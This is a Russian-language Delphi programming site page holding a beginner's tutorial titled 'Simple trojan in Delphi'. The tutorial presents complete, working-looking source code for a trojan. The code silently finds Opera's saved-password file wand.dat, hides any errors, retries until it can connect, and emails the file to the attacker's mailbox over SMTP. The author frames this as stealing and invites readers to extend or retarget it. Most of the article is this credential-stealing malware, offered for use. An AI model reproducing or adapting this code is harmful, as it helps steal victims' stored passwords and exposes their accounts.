Четверг, 26.07.2012, 09:43 Приветствую вас Гость | Группа "Гости" 


Меню сайта

Администрация
184023 dolphin
611892 gravitas

Помощь проекту

R106276538945
Z160640024212

Яндекс деньги
410011190732605

Недавние темы

Опрос
Кто вы в программировании?
Всего ответов: 345

Главная » 2011 » Декабрь » 30 » Простой троян на Delphi
01:33
Простой троян на Delphi
Статья рассчитана на начинающих.
Итак троянская программа - вкратце программа выполняющая в системе действия необходимые злоумышленнику и распространяемая им же.
Схема довольно проста. В моём примере простой троянец будет воровать файл в нашем случае - файл паролей от оперы и отсылать его нам на емейл.
И так нам понадобятся среда Delphi 7, компонент для работы с интернет InDy 10.x.

Исходный код

program simple_trojan;

uses
Windows, SysUtils, IdMessage, IdSMTP, IdAttachmentFile;


Используем только нужные нам модули, потому что инди напару с делфи начинают втюхивать нам кучу других.

Переменные применяемые в коде

var
smtp : TIdSMTP;
Mes : TIdMessage;
wand : string;


обязательно заключим весь код в try ...except end дабы избежать отображение каких либо ошибок если у программы что то не вышло.

begin
try
wand:= GetEnvironmentVariable('APPDATA')+'\Opera\Opera\wand.dat';


Первым делом проверяем наличие нужного нам файла если его нет, то нам тут делать нечего... дохнем :

if not FileExists(wand) then
  Exit; 


Создаём компоненты :

smtp:= TIdSMTP.Create;
Mes:= TIdMessage.Create;


Передаём им параметры :

with smtp do
begin
Host:= 'smtp.mail.ru';
//Наш сервер будет майл, я как то больше сним привык работать
Port:= 25;
UserName:= '[email protected]'; // тут почта с которой будут идти писмеца)
Password:= 'password'; //пароль к этой почте
end;
with Mes do
begin
From.Address:= '[email protected]';
// Ящик c которого будут идти письма
From.Name:= 'simple trojan'; //Имя от кого идёт письмо
Recipients.EMailAddresses:= '[email protected]'; //Ящик на который идут письма
Subject:= 'Subject';
TIdAttachmentFile.Create(MessageParts,wand); //Цепляем наш заветный файл
end;

Создаём цикл в котором будем ждать успешного подключения к серверу майла :

repeat
smtp.Connect;
Sleep(30000);
until
smtp.Connected;


Если подключились то отправляем письмо :

smtp.Send(Mes);
smtp.Disconnect;


Освободим занятую нами память, всё должно быть красиво :

smtp.Free;
Mes.Free;


Если где-то что-то, то на выход :

except
end;
end.

© Delfcode.ru Dolphin
Вес без сжатия ~ 376 кб, после сжатия ~ 133 кб неплохо если посчитать сколько строк занял код.

Вот и всё простейший "базовый" троянец готов. Теперь его можно доработать или переопределить его цели, решать уже вам.

Не збываем о копирайтах и лайках!
Просмотров: 505 | Добавил: dolphin | Рейтинг: 4.4/14
Всего комментариев: 2
0  
1 XDXDXD   (02.04.2012 07:04)
А где http инди скачать????????

Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Профиль


Логин:
Пароль:

Поиск

Наша кнопка

Вирусология, взгляд из Delphi



Статистика
WOlist.ru - каталог качественных сайтов Рунета

Статистика материалов
Файлов: 381
Форум: 688/4970
Коментариев: 696
Новостей: 38
Блог: 2

Статистика пользователей
Всего: 925
За неделю: 23
Вчера: 3
Сегодня: 1
Всего онлайн: 1
Гостей: 1
Пользователей: 0

delfcode.ru © 2008 - 2012 Хостинг от uCoz